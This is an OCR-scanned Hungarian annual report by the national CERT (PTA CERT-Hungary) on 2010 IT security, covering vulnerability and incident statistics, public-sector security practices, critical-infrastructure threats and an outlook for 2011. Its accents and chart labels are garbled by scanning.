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Bevezeto

A Puskas Tivadar Kozalapitvany altal mikodtetett Nemzeti Halozatbiztonsagi Kozpont elkészitette
2010. éves jelentését, amely a 2010. év legfontosabb IT- és halozatbiztonsagi momentumait gytjti
egybe ¢és értékelést ad ezen technikai informacidok tarsadalmi ¢és gazdasdgi hatdsainak
vonatkozasdban az Informacids Tarsadalomért Alapitvany kézremiikddésével, valamint bemutatja a
VirusBuster Kft. 2010. év informatikai biztonsagi trendjeirdl sz6l6 dsszefoglalgjat. A jelentésben a
foszerep ismét a halozatbiztonsageé.

A jelentés segit eligazodni a legjabb tamadasi eljardsok kozott, betekintést nyujt a
platformfiiggetlen tamadasok, az eltérési kontrollok és tobbek kozott az automatizalt tAmadasok
gyakorlati vilagéba.

Kiilon fejezet szdl a napjainkban is veszélyes online szolgaltatds megtagadasos tdmadasokrol, egy
rovid betekintés erejéig sz6 esik a bruteforce-rol, tovabba egy hasznos cikket is bemutatunk a DoS
tdmadasok hatdsairdl, okairol, mely segithet a tdmadas felismerésében és a védekezésre valo
felkésziilésben.

A Nemzeti Halozatbiztonsagi Kozpont tovabbra is eredményesen miikddteti szakmai kozonségének
¢s partnereinek szolo IT biztonsagi oldalat a tech.cert-hungary.hu-t.

A legfrissebb szoftversériilékenységi és riasztasi informaciokon tul egy Ujabb hircsatornaval
bovitettek szakembereink a tech.cert-hungary.hu oldalt: a fél éve miikddd hirforum, a TECH-blog,
naponta frissiild0 nemzetk6zi hirekkel ¢s érdekességekkel latja el a hazai olvasétabort, magyar
nyelven.

Fontos megemliteniink, hogy a jelentésben szerepld adatok, értékek és kimutatdsok a PTA CERT-
Hungary, Nemzeti Halozatbiztonsagi K6zpont, mint Nemzeti Kapcsolati Pont hazai és nemzetkozi
kapcsolatai altal szolgaltatott hiteles és aktualis informaciokon alapszanak.

Bizunk abban, hogy ezzel a jelentéssel egy megbizhat6 és naprakész ismeretanyagot tart a kezében,
amely hatékonyan tdmogatja majd az On munkajat és a legtdbb informatikai és internetbiztonsdgban
érintett szervezetnek is segitséget nyljt a védelmi stratégiai felkésziilésben.

A Puskas Tivadar Kozalapitvany - Nemzeti Halozatbiztonsagi Kozpont (CERT-Hungary) nevében:

Dr. Angyal Zoltan Dr. Suba Ferenc
Puskas Tivadar Kozalapitvany Puskas Tivadar K6zalapitvany
halézatbiztonsagi igazgatd Nemzeti Halozatbiztonsagi Kozpont
a Nemzeti Halozatbiztonsagi Kozpont nemzetkozi képviseld
vezetdje
Dr. Kéhalmi Zsolt Bodi Gabor
Puskas Tivadar Kozalapitvany Puskas Tivadar Kozalapitvany
a kuratorium elnoke ligyvezeto igazgatd
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Szoftverseériilékenységek

Szoftversériilékenység minden olyan szoftvergyengeség vagy hiba, amelyet kihasznalva egy
rosszindulati tamad6 megsértheti az informatikai rendszer bizalmassagat, sértetlenségét vagy
rendelkezésre allasat.

A PTA CERT-Hungary, Nemzeti
Halozatbiztonsagi Kozpont (NHBK) a
2010. soran 1383 db szoftver-
sériilékenységi informaciot publikalt,
amelyekbdl 544 db alacsony, 452 db

Sériilékenységi publikaciok eloszlasa

kozepes, 361 db magas és 26 db kritikus Zg
kockazati besorolasu. 40
A sériilékenységi informaciok eloszlasat 28

Sérllékenységi riportok szama

szemléltetd grafikonon jalius honaptol

R IR T S - S
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kezd6déen, az egyes honapokban & @:& $§°\ LIS O F S RO
. e, o S s
kiadott publikdciok 4atlagos értéke ® @’\/Q’Q S &F

magasabb mint az ¢év elsé felében.
Ennek oka, hogy az NHBK megujitotta
weboldalat és ezzel parhuzamos fejlesztette a sériilékenységi adatbazisat.

I Alacsony [ Kozepes B Magas B Kritikus

A sériilékenységek gyartok szerinti megoszlasat szemlélve jol latszik, hogy az egyes
sebezhetdségek altal érintett termékek szama és azok elterjedtsége kozott szignifikdns Osszefliggés
mutathato ki.

Vendor Top10 A sebezhetdségek és a javitasok kozotti Osszefliggeést
600 szemlélteti az alabbi tdblazat. A javitdsok lehetnek
% 500 jav,itéc’somag, Uj Ver21o vagy egyéb — példéul, egy
5 beallitas vagy kiilonds biztonsdgi rendszabalyok
g 400 ¢letbe 1éptetése.
C
5 300 A 2010. IV. negyedéve sem hozott ujdonsagot az
£ 200 egyes sériilékenységek altal érintett szoftverek
I o0 H kimutatasaban, hiszen az egész éves adatok alapjan
B B Q g B Egg s Microsoft termékek vezetik a sort, mintegy
0 R N . 0tszoros értékkel a sorban kovetkezo IBM elott.
S LTS LIS : :
\o& N 4 & & &"’0 s §>°<Q & Tovabba szembetiind az is, hogy a Microsoft
N termékek tobb mint fele magas és/vagy kritikus
W Alacsony M Kozepes M Magas M Kritikus kockdzata  sériillékenységek  kapcsan  Keriilt
regisztralasra.

A termékek hibai kapcsan eldallt biztonsagi rések befoltozdsara kiadott javitdcsomagok, illetve
javito intézkedések mennyiségének szazalékos valtozasa is érdekesen alakult az év soran. Lathato,
hogy a fenyegetésekkel szemben megalkotott javitdsok ardnya az év soran folyamatosan romlott,
vagyis a nulladik napi tamadéasok kockazata jelentdsen nétt 2010. év soran.

Vélhetben a  szoftvergyartok = yayiasiformar 720101 I falév | 2090. 11l A6y | 2010, IV iy
fglesztem kapacitasa sziikosnek Nincs javitas 46% 47% 63%
bizonyult a sebezhetdségek Van javitas 02% 20, 7%
kezelésére, hiszen 2010-ben Van frissités 20,8% 5% 6%
minden bizonnyal a gazdasagi Egyéb javitas 25% 46% 24%

kilabalasra, a 2008-2009-ben
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elmaradt bevételek kompenzalasara, potlasara fokuszaltak. Ez okozhatja ezt a szignifikans eltérést a
javitott és a nem javitott sebezhetdségek éven belilli ardnydban. Ezt a véleményt egyébként jol
alatdmasztja a patch-ek €s a javitott verziok szdmanak jelentds csokkenése és az egyéb javitdsok
részaranyanak valtozatlansaga is. Ez az eredmény felértékeli a sebezhetdségek javitasa helyett azok
elfedését célzd védelmi intézkedéseket, melyek védelmi vonalat alkotnak a rovid idon beliil
javithatatlan sebezhet6ségekkel rendelkezd rendszerek szamara.

A sebezhetdségek értékelésénél fontos o ] ] _ _ o
Sérulékenységek eloszlasa, azok sikeres kihasznalasaval

az, hogy a biztonsadgon beliill melyik eléidézhetd a rendszerre gyakorolt hatasuk tekintetében
biztonsdgi kovetelményt fenyegeti. 160
Ennek alapjan lehet a kovetkezo @ 140

- negyedéves informatikai biztonsagi § 120

i kontroll-fokuszokat  kidolgozni az  x 100

- egynél tobb sebezhetdséget jelentd § 80

| gyartok termékeit vagy termékeket 5 60
hasznal6 szervezetek korében. 2 40

O

Lathato, hogy az év kozel fele teljesen 3 20 '
kiegyensulyozott ~ volt az egyes 0 ‘
kévetelmények szempontjabél, jilius SRR S N R S R
hénaptél hatérOZOtt eltOI()da"S keZdédOtt == Rendelkezésre ™= Adatbizalmassag Sértetlenség ™= Ismeretlen
a bizalmasségot sértd témadhatéSég allas csokkenés csokkenése elvesztése

iranydba. Ezért az ellendrzéseket a
bizalmassag teriiletére javasolt fokuszalni az elkdvetkezendd iddszakban, az életbe léptetett
kontrollok hatékonysagat és megel6z6 képességét javasolt mindenhol megvizsgalni.

Ez természetesen nem azt jelenti, hogy a rendelkezésre allas és a sértetlenség megvaldsitasat
szolgald védelmi intézkedések miikodését érintden a kovetd auditok feleslegesek lennének a
tovabbiakban. Osszehasonlitva a korabbi negyedévek adataival megallapithatd, hogy nem a
bizalmassagot érintd fenyegetések szamossaga novekedett, hanem a sértetlenségre €s rendelkezésre
allasra vonatkoz6 sebezhetdségek szama csokkent a kétharmadara.

Erdekes jelenség volt a kozelmultban a Wikileaks portal, melynek hireit tobb nagy ujsag
szerkesztdsége is érdemesnek taldlta a kozlésre — ez szintén megerdsiti az informdciok irdnti erds
érdeklédést, ami maga utan vonja az informatikai rendszerek megtamadasat informacidszerzési
céllal, ezt a rendszerhozzaférést célzo tdmadasi formék jelentds novekedése is aldtdmasztja, a tavoli
tamadasok tobb mint 90%-os részaranya mellett.

Feltételezésiink szerint a kovetkezd negyedévek eredményei megerdsitik az informacido ¢éhség
hipotézist, és varhatban marad a tavolbol viszonylag egyszerii eszkozokkel végrehajthato,
informacidszerzést célzo sebezhetdségek g9
részaranya a teljes sebezhetdségeken beliil. 160

140
120

A sebezhetdségek kihaszndlhatosaganak fizikai
vagy logikai tipusanak megoszlasat a jobboldali

grafikon szemlélteti. 100
. TR . 80
JOl szembetiinik a tavoli, interneten keresztiil 60

végrehajthatd tdmadasok Iényeges sulypont-
eltolédasa, mely azt jelzi, hogy tovdbbra sem
lehet az IDS-ektol és a tizfalaktol eltekinteni,
miikodésiik és szabalyrendszereik ellendrzése
ajanlatos minden szervezet szdmara, a fizikai
biztonsdgot megvalosité intézkedések tovabbi
fenntartasa mellett.

40
" w
0

& O O - N . P e A o
FEIFETIFT IS F TS

Sériilékenységi riportok szama

Ry

== Helyi/shell == Fizikai/konzol
Tavoli/halozat == Ismeretlen
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I'T-biztonsag a kozszféraban

Az informatika védelmére szinte valamennyi intézmény aldoz, am a stratégiai szemlélet ritkan nyer
teret, jellemzden az alkalmazott eszkdzokre fokuszalnak.

Ahogy az intézményi szféraban is egyre tobb folyamatot gépesitenek, a szervezetek mind jobban

fiiggenek informatikai rendszereikt6l. Mivel a hatékonysag novelése megfeleld 1T-tamogatas nélkiil

nehezen képzelhetd el, s6t egyre komplexebb rendszerek alkalmazasa a jellemzd, a dontéshozok

egyetlen valasztasa, hogy igyekeznek felkésziteni folyamataikat és rendszereiket az elképzelhetd

legrosszabbra, de legaldbbis az eldre lathatd Osszes redlis fenyegetés kezelésére. A Magyar
oy Infokommunikacids Jelentés legfrissebb eredményei ravilagitanak, hogy bar a szervezetek dontd
N | tobbsége tesz bizonyos erdfeszitéseket a kockdzatok csokkentése érdekében, a biztonsagi tudatossag
terén szamos intézmény komoly kihivasokkal kiiszkddik.

Eszkozellatottsag és -hasznalat

| .7
A, Bellrreseramh ,kUtatasal alap’JaP a IT-biztonsagi és iizletmenet folytonossagi megoldasok
vedettseg érdekében megtett lepesek elterjedtsége a koltségvetési szektorban (%)

gyakorta csak antivirus-szoftverek és
Kozponti koltségwetés [

tlizfalmegoldasok hasznalatara

korlatozodnak, amelyek a teljes Onkormanyzatok |
intézményi szektor 88, illetve 80 Oktatas |

szazalékanal talalhatok meg. A Egeszségigy D
szervezetek hat szazaléka ugyanakkor
semmilyen IT-biztonsagi megoldast

nem alkalmaz, azaz szamitogépek ezrei minden védelmet nélkiiloznek a kozszféraban.

-

80% 84% 88% 92% 96% 100%

Védelmi megoldisok elterjedtsége Az alkalmazott IT-biztonsagi eszk6zok

a koltségvetési szektorban (%) alloménya az eldz6 évekhez képest némi

R | — elorelépést mutat: ndvekedett tobbek

Viuswdelem [ koz6tt a  spamsziirdk hasznalatinak
Jelszavas azonositas [ elterjedtsége (38-r6l 52 %-ra), mikozben

SPAM-sziirés [ a kifinomultabb védelmi megoldasok
IT-szabalyzat [ - elterjedtsége is emelkedett valamelyest.
Attorésre  azonban mégsem  lehet
szdmitani a kozeljovében. Az olyan
szofisztikaltabb védelmi megoldasok,
mint a rendszerhasznalat és a hozzaférés
naplozasa vagy a behatolas-érzékelés, még az intézmények egyotodében sem terjedtek el.

Fajlhozzaférés korlatozasa [l
Halozati hozzaférés-kontroll D
.

URL-sz(rés, -korlatozas

~

0% 20% 40% 60% 80%  100%

Gyakran hallani olyan kiilfoldi példakat (Németorszag, USA, stb.), ahol értékes - akar kormanyzati -
adatok gigabajtjai keriiltek illetéktelen kezekbe mulasztas, szandékos karokozas vagy véletlen hiba
kovetkeztében. A veszély mértékét nem kdnnyii becsiilni, de 1éte bizonyosan belathato.

Ennek ellenére az IT-biztonsagot stratégiai szintre emel6 tudatos gondolkodas csak a hazai
intézmények kis hanyadara jellemzé6. Erre utal, hogy példaul katasztrofa-elharitasi terve csak
minden tizedik intézménynek van, de informatikai szabalyzatot is csak az érintett dontéshozok
egyotdde kovetelt meg, biztonsagi auditnak pedig kevesebb mint 3 szazalék vetette ala magat. Pedig
a szabalyozasi keretek €s a cselekvési tervek pontos és részletes definidlasa nélkiil nehezebb a
szamonkérés, nem beszélve arrdl, hogy nehezebb eldre vetiteni, mi torténik, ha bekdvetkezik a baj.

1 Bellresearch: Magyar Infokommunikéacios Jelentés 2009., http://www.ictreport.hu/
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A magyarorszagi intézmények jellemzoen csak a védelem legalapvetobb elemeit alkalmazzak,
mig a szervezet mélyebb rétegeit is athato stratégiai szemlélet igen ritka. Az intézményi szféra
szerepléire kevés Kivételtol eltekintve jellemzd, hogy I'T-biztonsagi tudatossaguk sokkal inkabb
az alkalmazott eszk6zok halmazaiban 6lt testet, mint hogy a szervezet miikodésének egészét
befolyasolo filozéfiaban csticsosodna Kki.

Ez az éremnek csupan az egyik oldala. Az IT-biztonsdg ugyanis elsdsorban nem az eszkozok
meglétének, hanem a stratégiai gondolkodasnak, a tudatossagnak és a jartassagnak a fliggvénye.

Az adatok szamos ponton ravilagitanak a kozszféra hidnyossagaira. A szervezetek hidba védik

adataikat a kiilsé timadasoktol, ha a jogosultsagok hézagos szabalyozasa miatt barmely alkalmazott

engedély nélkiil is hozzaférhet a legféltettebb informacidkhoz, €és a legegyszerlibb adattarolon
'f“/ kiviheti a szervezetbdl.

Katasztrofa-elharitasi terve példaul az intézmények egytizedének van, IT-szabalyzatot is csak az
érintett dontéshozok 22 szazaléka dolgoztatott ki, mig biztonsagi auditot csupan 4 szazalékuk
végeztetett.

A rogzitett szabalyok, a megvaldsitasi 1épések és az ellendrzési eljarasok hianya megneheziti
vagy akar lehetetlenné is teszi a potencialis veszélyekre valé tudatos és kovetkezetes
felkésziilést. Nincs a teljes allamigazgatast és kozigazgatast atfogd, azonos megbizhatosaga és
kézben tarthaté koncepcion alapul6 iranyelv (szabvany csomag), emiatt nincsenek bevezetve
és alkalmazva egységes biztonsagi szempontokkal kézben tarthaté infokommunikacids
(tavkozlési és szamitastechnikai) védelmi rendszerek sem.

A biztonsagtudatossag témakorében nem hagyhatd figyelmen kiviil egy alapvetd tényezd, a
miikodési folyamatok pontos definidldsa, valamint azok leforditasa az informatikai rendszerek
»hyelvére” — ennek hidnyaban ugyanis elképzelhetetlen a részletes, irasos biztonsagi stratégia
kidolgozésa. A Jelentés adatai azt mutatjdk, hogy a hazai intézményi szektor ezen a teriileten is
jelentds problémakkal kiizd. Tovabbi jellegzetességként emlithetd, hogy a Kkozszféra
szervezeteinek kozel 60 %-a nem von be kiils6 kompetenciat I'T-biztonsagi rendszerének
kidolgozasaba és miikodtetésébe, hanem kizardlag sajat maga, belsd eréforrasaira tamaszkodva
alakitja ki és menedzseli azokat.

Az tizleti teriileten dolgozo jo kvalitdsu szakemberek bérezése 2-3-szorosa az allami szféraban
dolgozokénak. Ezért a kozigazgatasban csak kozepes képzettségli informatikai szakembereket lehet
alapvetden alkalmazni. Tudomasul kell venni ezért, hogy nagy rendszerek fejlesztéséhez sziikséges
professzionalis ¢€s gazdasdgosan mukodtethetd informatikai fejlesztd és szolgdltatd iizemeltetd
gardaval nem rendelkezhet.

A kozigazgatds alkalmazo, ezért fontos, hogy a megrendeld - szolgaltatd szerep szétvalasztisa
megtorténjen. A tovabbiakban a kdzigazgatdson beliil koztisztvisel6ként, kozalkalmazottként is csak
a megrendel6i szandékot képviselok maradnak, az informatikai szolgaltatasok a szolgaltatas
jellegéhez jobban ill6 alkalmazasi strukturdban torténjenek (szolgaltatasvasarlas kiils6 cégtol, vagy
sajat szolgaltatasi szervezet gazdasagi tarsasag létrehozasaval).

A piaci viszonyok kozott elénydsebben megszerezhetd szolgéaltatdsoknal hatdrozottabban kell a
kormanyzaton kiviili szférara tdmaszkodni. Ez a megkozelités megfelel a fejlett EU orszagok
fejlédési trendjének. A nemzetkdzi tapasztalatok alapjan azonban ez a megkozelités nem
vonatkozhat az informatikai biztonsaggal kapcsolatos kulcspoziciokra ¢és a sziikséges belsd
szakemberekre.

Egyes helyeken természetesen Iéteznek egymastol elkiiloniild, kiilonbozé megbizhatosagu,
szigetszerli megoldasok.
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A stratégiai infrastruktarak veszélyeztetettsége

Amennyiben elismerjiik, hogy az informacié stratégiai erdforras, ugy el kell ismerniink, sot
tudomasul kell venniink, hogy az infokommunikécios héalézatokon keresztiil szétosztott, illetve
elérhetd informécid kiemelten védendd. fgy a jelentds szamu informacio-adatbazis elérési pont
(szinte minden szamitogépes munkahely illetve informacids halozati csatlakozasi pont), valamint az
adattovabbitasi csatornak jelentds kockazattal birnak ezen eréforras vonatkozéasaban.

Minden résztvevd személy és az infokommunikacids halozatok minden pontja, melegagya lehet egy
illetéktelen behatolasnak, tamadasnak, mely a célinformacio-céladat megszerzésére, az eréforrasok
meggyengitésére irdnyul. A kiilonb6zé formaban ¢és mértékben, de életszerlien eltérd
érdekviszonyok miatt folyamatosan jelen vannak az informacidk elérésének, megszerzésének
lehetdségét jelentdsen megkdnnyitd, integralt, infokommunikacids halézatokon a jogtalan és
illetéktelen behatolasok, hozzaférési kisérletek.

Belfoldi és/vagy nemzetkdzi blindzok illetve terrorista csoportok, mas ellenérdekelt szervezddesek
orszagos, esetleg ,.csak” intézmény méretli allamigazgatasi, kozigazgatdsi, pénziigyi-gazdasagi,
katonai, rendvédelmi, koézszolgaltatoi, kornyezetvédelmi, infokommunikacids, biologiai, stb.
tdmadasokat, katasztrofakat okozhatnak, melynek realis esélyeit és veszélyeit nemzetkozi forrasok
¢s példak is igazoljak (hackerek behatoldsai egyes orszagok fontos allambiztonsagi hivatalainak
adatbazisaiba illetve bankrendszerekbe, dollarmilliardos karokat okozva).

A technika és a piac fejlodésével kifinomultabba valo, hatarokon atnyulo fenyegetések €s a globalis,
egymason alapuld és egymadstdl kolcsondsen fliggd kormdnyzati informatikai rendszerek miatt,
biztonsagukat ¢és ellendlld képességiiket nem lehet pusztan nemzeti szinten koordinalt
megoldasokkal biztositani.

Az IT-hal6zatok megbizhaté miikddéséhez kapcsolodo jelentds gazdasagi €s tarsadalmi értékeket és
érdekeket felismerve az Europai Unid 2004-ben 6téves iddtartamra hozta létre az ENISA-t. A
szervezet kiildetése, hogy javaslatok és intézkedések kidolgozasaval elOsegitse a magas szintll
halézati és informatikai biztonsag fenntartasat az EU orszagaiban €s intézményeiben.

Az Eurdpa Tandcs és az Eurdpai Parlament 2009-ben a szervezet tevékenységének harom évre sz616
meghosszabbitdsarol dontott. A kdozelmult halozatbiztonsaghoz kapcsolodo eseményei, a nemzetkozi
gerinchalozatot érinté balesetek vagy a kéretlen elektronikus kiilldemények aggaszté mértékii
elszaporodasa indokoltta tették a témaban az egységes, uniods szintl fellépést.

A magyar Kormany, az 4allamigazgatds, a kozigazgatds tobboldalu, komplex adat- és
informaciokezelésének védelme egységesitett iranyelveket, kozponti irdnyitast, szabalyozast,
szolgaltatas-lizemeltetést, ellendrzést kovetel meg és nem lehet az intézmények 6nallosagi korébe
tartozo feladat, tovabba nem lehet a szolgaltatoi és termékverseny teriilete sem.

Fontos, hogy ez a komplex adat- és informaciovédelem nem egyszeriien termékvasarlas, nem egy
statikus szolgéltatas, nem egy egyszeri szervez€s, nem egy egyszeri beruhdzéds, hanem az
informaciobiztonsagot veszélyeztetd folyamatoknak megfeleléen egy folyamatosan valtozo,
egységes szemléletet €és végrehajtast igényld kihelyezett informatikai és nem mellékesen —
nemzetbiztonsagi és kozrendvédelmi — szolgaltatas.
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Internetbiztonsagi incidensek

Internetbiztonsagi incidens minden olyan biztonsagi esemény, amelynek célja az informacids
infrastruktirdk bizalmassaganak, sértetlenségének vagy rendelkezésre allasanak megsértése az
interneten, mint nyilt informdacids infrastruktaran keresztiil.

A PTA  CERT-Hungary, = Nemzeti Incidensek eloszlasa
Halozatbiztonsagi Kozpont a 2010-es év =~ 70
soran Osszesen 301 db incidens bejelentést _ 60 =

- regisztralt és kezelt, ebbdl 44 db alacsony & *°
& ¢s 256 db kozepes kockazati besorolasu. gg

(=]

8 A Nemzeti Halozatbiztonsagi Kozpont a
- hatékony incidenskezelés érdekében 24
oras iigyeletet miikodtet az év minden
napjan. Az ligyelet feladata az egyes
incidensek  kapcsan  adand6  valasz-
intézkedések megtétele.

Bejelentések szama

L

Sapninlll BB g

[l Alacsony [ Kozepes M Magas

2010 III. negyedévében a legnagyobb szamban adathaldsz tevékenység (55%), karos szoftverek
terjesztése (14%) kapcsan érkeztek bejelentések, leszamitva a Shadowserver Foundation-t6l
beérkezd botnet halozatokrol sz6lo bejelentéseket. Szamottevoek voltak még a rendszer hozzaférési
kisérletek kapcsédn beérkezett bejelentések, melyek mindosszesen 11%-at teszik ki az 0Osszes
bejelentésnek.

A bejelentések tobbnyire kiilfoldi partner-szervezetektdl érkeztek és tobb mint 90%-ban hazai kéros
tevékenységgel vagy karos tartalommal voltak Gsszefiiggésben. Az egyes incidensek elharitdsa
kapcsan Osszesen 75 szolgaltatd keriilt bevonasra és Osszesen 453 szalon folyt incidenskezelési
koordinacio.

Incidensek tipus szerinti elsozlasa A 2010-es ¢év incidens kimutatasat

torony magasan az adathalasz

8.31% 7.64%

oldalak (phishing oldalak) kapcsan
fogadott bejelentések vezetik. Ez azt
10.30% mutatja, hogy a tamadok egyre

11.63% nagyobb erdvel igyekeznek
kihasznalni a felhasznalok
2.99% johiszemiiségét.

0.33%

1.00% Egy nagy hulldm volt tapasztalhatd

a phishing tevékenységet illetden
november hénapban. Az 0Gsszes
adathalaszat  kapcsan  beérkezo
incidens mintegy 30%-a ugyanis
ebben az iddszakban érkezett.

B Botnet
H DDoS
L] Karos program
O Egyéb

B Adathalaszat
Ll Csalas

B Scan

[ sSpam

B Rendszer
hozzaférés

A spam, scan és karos programok
magas  részvételi  ardnya @ —
egylittesen 25% éves viszonylatban

56.15% - is azt mutatja, hogy a tamadok
masik f0 célja — a pénzszerzés
mellett — a személyes adatok
megszerzese.


http://hu.wikipedia.org/wiki/Port_scan
http://hu.wikipedia.org/wiki/Spam
http://hu.wikipedia.org/wiki/Phishing
http://hu.wikipedia.org/wiki/Phishing
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Kilatasok 2011-re

2010 novemberének 1j fejleménye, hogy kormanyzati szinten megsziiletett a nemzeti
adatvagyon fogalma, amelynek fokozott védelméral és kiemelt, egységes kezelésérol torvényt
fogadott el az orszaggyiilés 2010. december 14-én. A jogszabaly kizardlagos allami kezelésbe
rendel tobb, érzékeny személyes adatot is tartalmazd adatbazist, ez egységesitési €s tisztitasi
folyamatokkal is egyiitt jar. Az 0j rendszer varhatéan 2011 végére lesz teljesen mukodoképes,
addigra a maganvallalatok teljesen kiszorulnak ebbdl az adatkezel6i korbdl. A kiemelt adatkorbe
tartoznak tobbek kozott a személyi adatok, a lakcimek, a kozuti kozlekedési adatok, a biiniligyi,
o szabalysértési, foglalkoztatasi, szocialis, agrartdmogatasi és egészségiigyi adatok, valamint a
—=/ nyugdijnyilvantartas.
Ez a folyamat varhatéan a kormanyzati informatikai infrastrukturak fejlesztését is magaval
vonja, ismét stratégiai szerepet kaphat tehat az I'T. Ennek mar mutatkoznak jelei: A kormanyzati
infokommunikacioért felelds 11j szaktarca - a Nemzeti Fejlesztési Minisztérium (NFM) - négy évre
sz016 stratégidt készit, amelyben az informatikai véllalkozdsok piacra jutisat segitd programok
kidolgozésa mellett a szolgaltatd allam informatikai hatterének kiépitése is szerepel. Ezt
nyomatékositand6, a minisztériumon beliil 6ndllo szakallamtitkdrsag jott 1étre, ennek feladata a
kormanyzati infrastruktira fejlesztése, iizemeltetése, tervezése, az elektronikus hirkozlés, a
spektrum- és frekvenciagazdalkodéas, az audiovizudlis média és a postaszabdlyozds, vagyis a
postaliberalizaciora valé felkésziilés.

Fejlettebb gazdasaggal bird orszagokban a kormanyzati informatikét és a kapcsolodé megoldasokat
egyértelmiien ¢€lvonalbeli technologia, 1jitas, valamint innovativ gondolkodés jellemzi, és a
korményzati IT-infrastruktira mindsége mar egy ideje a technoldgiai fejlesztések élvonalat
képviseli. Ezzel szemben a fejlédd allamokban - igy Magyarorszagon is - a kormdanyzati
informatikai beruhdzdsok mas gondolkoddsmod szerint zajlanak és a rendszereket nagyfoki
heterogenitas jellemzi. Mig vannak olyan pontok Magyarorszagon, ahol kezdetleges az
informatikai hattér-infrastruktara, léteznek olyan helyek is, ahol a sziikséges funkcidkat joval
felilmulo képességli berendezések talalhatok.

Ezért lényeges egy olyan egységes tervezés és Kivitelezés, amely kelloképpen homogén
rendszert eredményez, és a sziikségesnél sem tobb, sem kevesebb funkciot nem tartalmaz. Ez a
hasznalhatosag, a karbantarthatésag és ezaltal a biztonsag irdnyaba is jelentds elérelépés lenne.
Ezzel fligg 6ssze az is, hogy a hatékony és fenntarthatdé beruhazasokban torekedni kell a minél
alacsonyabb ilizemeltetési koltség elérésére is, tobbek kozott kornyezetkiméld, energiatakarékos
eszk6zok beszerzésével.

Természetesen elégedettségre csak akkor lesz ok, ha a vilaghalo nyujtotta lehetdségek szinte minden
magyar allampolgérhoz eljutnak majd és 6k ezekkel élnek is. Meg kell jegyezni, hogy a szélessavi
technologidk elterjesztésében az infrastruktura mellett nagyon fontos a tartalom, elsdsorban a
tdvmunka, a tdvoktatas €s a szorakoztatas koré épitve.

Az elektromos halozatok, az olajfinomitok vagy a vizmiivek mind célpontjai lehetnek a kaosz
kirobbantasaban érdekelt cyberterroristaknak — vélik az IBM szakértdi a 2011. évre sz016 biztonsagi
elorejelzésiikben. 2011-ben mar nem feltétleniill a pénzszerzés vagya hajtja majd a
cyberterroristidkat, hanem minél kisebb erdfeszitéssel akarnak minél nagyobb gazdasigi vagy
tarsadalmi kart okozni. Ez a kritikus infrastrukturdkra nézve jelentds kockazattal bir.?

A kormanyoknak is figyelniiik kell az infrastrukturak védelmére, ez pedig a maganszektorra
és a kormanyzatokra is ujszerii feladatokat ro6. Vilagszinten a kritikus infrastruktarak
(elektromos, tavkozlési és egyéb haldzatok) 90 szazalékat magankézben 1évo tarsasagok birtokoljak
¢s lizemeltetik. A vildgon egyre tobb korményzat ismeri fel, hogy ha a kulcsfontossagu

2 Westervelt, Robert: IBM predicts rising mobile threats, critical infrastructure attacks in 2011., SearchSecurity.com
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szolgaltatdsokhoz vald hozzaférésben magancégektdl fiigg az allampolgar, akkor az
allamszervezetnek is kotelessége valamilyen modon garantdlni ezen rendszerek biztonsagat, nem
bizhatjak azt teljes egészében az érintett cégekre.

A jovo azoké a biztonsagi megoldasoké, melyeket nem utdlag épitenek ra a rendszerekre vagy
szolgaltatasokra, hanem szervesen beépiilnek azokba. Ugyanez lesz igaz a kozmiivekre is. Nem
konkrét biztonsagi jogszabalyokra van sziikség, hanem a szerzédések elnyerését Kkell
biztonsagi feltételekhez kotni. Ha egy aramszolgaltaté szerz6dni akar egy onkormanyzattal,
akkor addig ne is Kkeriilhessen a képbe, amig meg nem felel a jol koriilirt biztonsagi
rendszabalyoknak.

A gazdasagi vilagvalsag a halozati és IT-biztonsagi piacot is megviselte, 2009-ben mind abszolut
o értékben, mind aranyaiban legalabb 1%-o0s visszaesést mutatott a piac, noha az IT-eszkdzok
/ felhasznalasa tovabbra is novekedett. Bar a végleges szamok még kalkulacié alatt vannak, az mar
most lathat6, hogy 2010 a stabilizacié éve volt a piacokon, 2011-t6l pedig twjabb jelentds
novekedést varnak a szakértok. A biztonsagi termékek alatt konkrétan azokat a hardver- szoftver-
csomagokat értik, amelyek tlizfalat, virtualis maganhaldzatot, az illetéktelen behatolast megelz6 és
detektald szlirdket, valamint mas hasonld szolgéltatasokat (,,unified threat management”, azaz
egyesitett biztonsagkezelés) tartalmaznak. Az elérejelzések szerint a piac szoftveres fele gyorsabban
nd majd, mint a hardveres, csak a szoftveres megoldasok 2014-re a teljes biztonsagi torta tobb
mint 26 szazalékat teszik majd ki.?

Egyre elfogadottabba valnak a ,,felh6” (cloud computing) alapa technolégiak a vallalati piacon,
amely jelentds 0j biztonsagi, menedzsment ¢és adatvédelmi kihivasokat hoz magéval. A Harris
Interactive nagyvallalati vezetOk korében végzett kutatdsa ravilagit, hogy a megkérdezettek tébb
mint hdromnegyede mar haszndl valamilyen szamitasi felh6t. A f6 motivald tényezdk az
alacsonyabb koltség, a kisebb kezdeti beruhazas és jol lathatd megtériilés, de aggaszté az
adatbiztonsag kérdése ezen az 1jj teriileten.* 2011 egyik legnagyobb probléméjanak az atruhazott
bizalom (transitive trust) igérkezik. Egyre tobb adatot kell rabizni olyan szolgaltatokra, amelyekrol
nem sokat tudunk. A kérdés az, miként lehet meggy6zddni arr6l, hogy a szolgaltatd — mobiltarsasag,
felhdszolgaltatd — biztonsadgosan kezeli az adatokat. Pedig ezt a bizalmatlansagot le kell kiizdeni,
mert a kiilonféle biztonsagi rendszerekbdl szdrmazd adatok elemzésére és az ezekbdl levonhatd
kovetkeztetések meghozatalara a cégeknek nincs elég er6forrasuk, igy ezekkel kiilsé szolgaltatokat
kellene megbizni. A kovetkezd egy-két évben eljohet az ideje a biztonsagi tavfeliigyeletnek és az
egyéb biztonsagi szolgaltatasoknak.

Az ESET szerint az internet 2011-ben sem lesz biztonsagosabb hely. A cég szakértéi csoportba
gyljtottek, hogy milyen fenyegetésekkel kell majd szembenézniink. Arra jutottak, hogy ebben az
évben jo eséllyel taldlkozhatunk 1j kartevok tomegével a kozosségi oldalakon, a Macintosh
szamitégépeken és az okostelefonokon, de egyre inkabb oda kell figyelniink internetes
bongészonkre és a gépiink elleni zombitamadasokra is. Jelentés veszélyeket rejtenek
magukban a platform fiiggetlen kartevok, amelyek az egységes rendszerek, foként a Java mentén
tobb tipusu rendszerben is karokat képesek okozni. A Macintosh platform tulajdonosai is egyre
kevésbé vannak biztonsagban, a marka népszerlisodésével a tdmaddsoknak is egyre jobban ki
lesznek téve a MacOS alapt megoldasok.®

A korabbindl sokkal nagyobb jelentdségre tesz szert a mobil biztonsag is. Az okostelefonok sokaig
